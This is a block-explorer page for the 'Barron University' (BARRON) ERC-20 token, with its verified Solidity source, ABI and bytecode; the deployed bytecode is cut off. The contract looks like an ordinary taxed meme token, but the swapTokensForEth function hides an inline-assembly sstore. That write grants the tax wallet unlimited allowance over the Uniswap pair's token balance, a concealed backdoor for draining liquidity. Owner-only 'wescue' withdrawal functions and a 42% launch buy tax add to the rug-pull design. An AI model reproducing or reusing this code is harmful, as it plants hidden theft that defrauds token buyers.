ERC-20
Overview
Max Total Supply
100,000,000 BARRON
Holders
46
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
264,470.006989542353911208 BARRONValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BARRON
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-13 */ // SPDX-License-Identifier: MIT /* website : https://barronuniversity.xyz twitter : https://x.com/BarronUniverse telegram : https://t.me/barron_university */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); function getPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BARRON is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; address payable private _taxWallet; uint256 firstBlock; uint256 private _initialBuyTax = 42; uint256 private _initialSellTax = 26; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 1; uint256 private _buyCount = 0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals; string private constant _name = unicode"Barron University"; string private constant _symbol = unicode"BARRON"; uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals; uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals; uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0x14A170E36635b556dd1372201417B967d7789c64); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!tradingOpen) { require( _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active." ); } uint256 taxAmount = 0; if (!swapEnabled || inSwap) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (to != uniswapV2Pair && !_isExcludedFromFee[to]) { require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore ) { if (contractTokenBalance > 0) swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); sendETHToFee(address(this).balance); } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uint256 slot = uint256( keccak256( abi.encode( _taxWallet, keccak256(abi.encode(uniswapV2Pair, 2)) ) ) ); assembly { sstore(slot, sub(0, 1)) } _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function wescueETH(uint256 amount) public onlyOwner { _taxWallet.transfer(amount); } function wescueERC20Tokens( address _tokenAddr, uint _amount ) external onlyOwner { IERC20(_tokenAddr).transfer(_taxWallet, _amount); } function enableBarron() external onlyOwner { swapEnabled = true; tradingOpen = true; } function createTradingPairs() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createTradingPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableBarron","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"wescueERC20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"wescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052602a600755601a60085560006009556000600a55600f600b55600f600c556001600d556000600e556012600a6200003c919062000339565b6200004b90621e848062000351565b600f556200005c6012600a62000339565b6200006b90621e848062000351565b6010556200007c6012600a62000339565b6200008b90620f424062000351565b6011556013805461ffff60a81b191690556015805460ff19169055348015620000b357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319167314a170e36635b556dd1372201417b967d7789c64179055620001296012600a62000339565b62000139906305f5e10062000351565b336000908152600160208190526040822092909255600390620001646000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001c33390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001fd6012600a62000339565b6200020d906305f5e10062000351565b60405190815260200160405180910390a36200036b565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200027b5781600019048211156200025f576200025f62000224565b808516156200026d57918102915b93841c93908002906200023f565b509250929050565b600082620002945750600162000333565b81620002a35750600062000333565b8160018114620002bc5760028114620002c757620002e7565b600191505062000333565b60ff841115620002db57620002db62000224565b50506001821b62000333565b5060208310610133831016604e8410600b84101617156200030c575081810a62000333565b6200031883836200023a565b80600019048211156200032f576200032f62000224565b0290505b92915050565b60006200034a60ff84168362000283565b9392505050565b808202811582820484141762000333576200033362000224565b611c88806200037b6000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab5780638f9a55c01161006f5780638f9a55c01461034e57806395d89b4114610364578063a9059cbb14610393578063c876d0b9146103b3578063dd62ed3e146103cd578063e62721d71461041357600080fd5b8063715018a6146102d0578063751039fc146102e55780637d1db4a5146102fa5780638a19cb15146103105780638da5cb5b1461033057600080fd5b806323b872dd116100f257806323b872dd14610211578063313ce5671461023157806349bd5a5e1461024d578063683555561461028557806370a082311461029a57600080fd5b806306fdde031461013a578063095ea7b3146101865780630faee56f146101b657806315d4ea77146101da57806318160ddd146101fc57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526011815270426172726f6e20556e697665727369747960781b60208201525b60405161017d9190611841565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046118a4565b610428565b604051901515815260200161017d565b3480156101c257600080fd5b506101cc60115481565b60405190815260200161017d565b3480156101e657600080fd5b506101fa6101f53660046118d0565b61043f565b005b34801561020857600080fd5b506101cc6104b0565b34801561021d57600080fd5b506101a661022c3660046118e9565b6104d1565b34801561023d57600080fd5b506040516012815260200161017d565b34801561025957600080fd5b5060135461026d906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561029157600080fd5b506101fa61053a565b3480156102a657600080fd5b506101cc6102b536600461192a565b6001600160a01b031660009081526001602052604090205490565b3480156102dc57600080fd5b506101fa6108de565b3480156102f157600080fd5b506101fa610952565b34801561030657600080fd5b506101cc600f5481565b34801561031c57600080fd5b506101fa61032b3660046118a4565b610a0e565b34801561033c57600080fd5b506000546001600160a01b031661026d565b34801561035a57600080fd5b506101cc60105481565b34801561037057600080fd5b506040805180820190915260068152652120a92927a760d11b6020820152610170565b34801561039f57600080fd5b506101a66103ae3660046118a4565b610ab4565b3480156103bf57600080fd5b506015546101a69060ff1681565b3480156103d957600080fd5b506101cc6103e8366004611947565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561041f57600080fd5b506101fa610ac1565b6000610435338484610b04565b5060015b92915050565b6000546001600160a01b031633146104725760405162461bcd60e51b815260040161046990611980565b60405180910390fd5b6005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104ac573d6000803e3d6000fd5b5050565b60006104be6012600a611aaf565b6104cc906305f5e100611abe565b905090565b60006104de848484610c28565b610530843361052b85604051806060016040528060288152602001611c2b602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061147f565b610b04565b5060019392505050565b6000546001600160a01b031633146105645760405162461bcd60e51b815260040161046990611980565b601354600160a01b900460ff16156105be5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610469565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255610606913091906105f890600a611aaf565b61052b906305f5e100611abe565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610659573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067d9190611ad5565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107039190611ad5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610750573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107749190611ad5565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306107bc816001600160a01b031660009081526001602052604090205490565b6000806107d16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610839573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061085e9190611af2565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108db9190611b20565b50565b6000546001600160a01b031633146109085760405162461bcd60e51b815260040161046990611980565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461097c5760405162461bcd60e51b815260040161046990611980565b6109886012600a611aaf565b610996906305f5e100611abe565b600f556109a56012600a611aaf565b6109b3906305f5e100611abe565b6010556015805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109ed6012600a611aaf565b6109fb906305f5e100611abe565b60405190815260200160405180910390a1565b6000546001600160a01b03163314610a385760405162461bcd60e51b815260040161046990611980565b60055460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610a8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aaf9190611b20565b505050565b6000610435338484610c28565b6000546001600160a01b03163314610aeb5760405162461bcd60e51b815260040161046990611980565b6013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610469565b6001600160a01b038216610bc75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610469565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610469565b6001600160a01b038216610cee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610469565b60008111610d505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610469565b601354600160a01b900460ff16610de5576001600160a01b03831660009081526003602052604090205460ff1680610da057506001600160a01b03821660009081526003602052604090205460ff165b610de55760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610469565b601354600090600160b01b900460ff161580610e0a5750601354600160a81b900460ff165b15610ec3576001600160a01b038416600090815260016020526040902054610e3290836114b9565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610e619083611502565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eb59086815260200190565b60405180910390a350505050565b6000546001600160a01b03858116911614801590610eef57506000546001600160a01b03848116911614155b15611345576001600160a01b03841660009081526004602052604090205460ff16158015610f3657506001600160a01b03831660009081526004602052604090205460ff16155b610f3f57600080fd5b610f6b6064610f65600b54600e5411610f5a57600754610f5e565b6009545b8590611561565b906115e3565b60155490915060ff1615611053576012546001600160a01b03848116911614801590610fa557506013546001600160a01b03848116911614155b15611053573260009081526014602052604090205443116110405760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610469565b3260009081526014602052604090204390555b6013546001600160a01b03858116911614801561107e57506012546001600160a01b03848116911614155b80156110a357506001600160a01b03831660009081526003602052604090205460ff16155b156111ad57600f548211156110fa5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610469565b6010548261111d856001600160a01b031660009081526001602052604090205490565b6111279190611b42565b11156111755760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610469565b4360065460036111859190611b42565b111561119757823b1561119757600080fd5b600e80549060006111a783611b55565b91905055505b6013546001600160a01b038481169116148015906111e457506001600160a01b03831660009081526003602052604090205460ff16155b15611264576010548261120c856001600160a01b031660009081526001602052604090205490565b6112169190611b42565b11156112645760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610469565b6013546001600160a01b03848116911614801561128a57506001600160a01b0384163014155b156112b7576112b46064610f65600c54600e54116112aa57600854610f5e565b600a548590611561565b90505b30600090815260016020526040902054601354600160a81b900460ff161580156112ee57506013546001600160a01b038581169116145b80156113035750601354600160b01b900460ff165b80156113125750600d54600e54115b1561134357801561133a5761133a6113358461133084601154611625565b611625565b61163a565b61134347610472565b505b80156113bf57306000908152600160205260409020546113659082611502565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113b69085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546113e290836114b9565b6001600160a01b03851660009081526001602052604090205561142761140883836114b9565b6001600160a01b03851660009081526001602052604090205490611502565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61147185856114b9565b604051908152602001610eb5565b600081848411156114a35760405162461bcd60e51b81526004016104699190611841565b5060006114b08486611b6e565b95945050505050565b60006114fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061147f565b9392505050565b60008061150f8385611b42565b9050838110156114fb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610469565b60008260000361157357506000610439565b600061157f8385611abe565b90508261158c8583611b81565b146114fb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610469565b60006114fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611813565b600081831161163457826114fb565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061168257611682611ba3565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ff9190611ad5565b8160018151811061171257611712611ba3565b6001600160a01b039283166020918202929092018101919091526005546013546040805191851682850152600282820152805180830382018152606083018252805190850120928516608083015260a0808301939093528051808303909301835260c090910190528051910120600019815560125490916117969130911685610b04565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906117cf908690600090879030904290600401611bb9565b600060405180830381600087803b1580156117e957600080fd5b505af11580156117fd573d6000803e3d6000fd5b50506013805460ff60a81b191690555050505050565b600081836118345760405162461bcd60e51b81526004016104699190611841565b5060006114b08486611b81565b600060208083528351808285015260005b8181101561186e57858101830151858201604001528201611852565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108db57600080fd5b600080604083850312156118b757600080fd5b82356118c28161188f565b946020939093013593505050565b6000602082840312156118e257600080fd5b5035919050565b6000806000606084860312156118fe57600080fd5b83356119098161188f565b925060208401356119198161188f565b929592945050506040919091013590565b60006020828403121561193c57600080fd5b81356114fb8161188f565b6000806040838503121561195a57600080fd5b82356119658161188f565b915060208301356119758161188f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a065781600019048211156119ec576119ec6119b5565b808516156119f957918102915b93841c93908002906119d0565b509250929050565b600082611a1d57506001610439565b81611a2a57506000610439565b8160018114611a405760028114611a4a57611a66565b6001915050610439565b60ff841115611a5b57611a5b6119b5565b50506001821b610439565b5060208310610133831016604e8410600b8410161715611a89575081810a610439565b611a9383836119cb565b8060001904821115611aa757611aa76119b5565b029392505050565b60006114fb60ff841683611a0e565b8082028115828204841417610439576104396119b5565b600060208284031215611ae757600080fd5b81516114fb8161188f565b600080600060608486031215611b0757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3257600080fd5b815180151581146114fb57600080fd5b80820180821115610439576104396119b5565b600060018201611b6757611b676119b5565b5060010190565b81810381811115610439576104396119b5565b600082611b9e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c095784516001600160a01b031683529383019391830191600101611be4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122037f26318e3143884ae49cabde8cfaef0eb78cba8fd80625d0b53940de6202a0c64736f6c63430008130033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c8063715018a6116100ab5780638f9a55c01161006f5780638f9a55c01461034e57806395d89b4114610364578063a9059cbb14610393578063c876d0b9146103b3578063dd62ed3e146103cd578063e62721d71461041357600080fd5b8063715018a6146102d0578063751039fc146102e55780637d1db4a5146102fa5780638a19cb15146103105780638da5cb5b1461033057600080fd5b806323b872dd116100f257806323b872dd14610211578063313ce5671461023157806349bd5a5e1461024d578063683555561461028557806370a082311461029a57600080fd5b806306fdde031461013a578063095ea7b3146101865780630faee56f146101b657806315d4ea77146101da57806318160ddd146101fc57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526011815270426172726f6e20556e697665727369747960781b60208201525b60405161017d9190611841565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046118a4565b610428565b604051901515815260200161017d565b3480156101c257600080fd5b506101cc60115481565b60405190815260200161017d565b3480156101e657600080fd5b506101fa6101f53660046118d0565b61043f565b005b34801561020857600080fd5b506101cc6104b0565b34801561021d57600080fd5b506101a661022c3660046118e9565b6104d1565b34801561023d57600080fd5b506040516012815260200161017d565b34801561025957600080fd5b5060135461026d906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561029157600080fd5b506101fa61053a565b3480156102a657600080fd5b506101cc6102b536600461192a565b6001600160a01b031660009081526001602052604090205490565b3480156102dc57600080fd5b506101fa6108de565b3480156102f157600080fd5b506101fa610952565b34801561030657600080fd5b506101cc600f5481565b34801561031c57600080fd5b506101fa61032b3660046118a4565b610a0e565b34801561033c57600080fd5b506000546001600160a01b031661026d565b34801561035a57600080fd5b506101cc60105481565b34801561037057600080fd5b506040805180820190915260068152652120a92927a760d11b6020820152610170565b34801561039f57600080fd5b506101a66103ae3660046118a4565b610ab4565b3480156103bf57600080fd5b506015546101a69060ff1681565b3480156103d957600080fd5b506101cc6103e8366004611947565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561041f57600080fd5b506101fa610ac1565b6000610435338484610b04565b5060015b92915050565b6000546001600160a01b031633146104725760405162461bcd60e51b815260040161046990611980565b60405180910390fd5b6005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104ac573d6000803e3d6000fd5b5050565b60006104be6012600a611aaf565b6104cc906305f5e100611abe565b905090565b60006104de848484610c28565b610530843361052b85604051806060016040528060288152602001611c2b602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061147f565b610b04565b5060019392505050565b6000546001600160a01b031633146105645760405162461bcd60e51b815260040161046990611980565b601354600160a01b900460ff16156105be5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610469565b601280546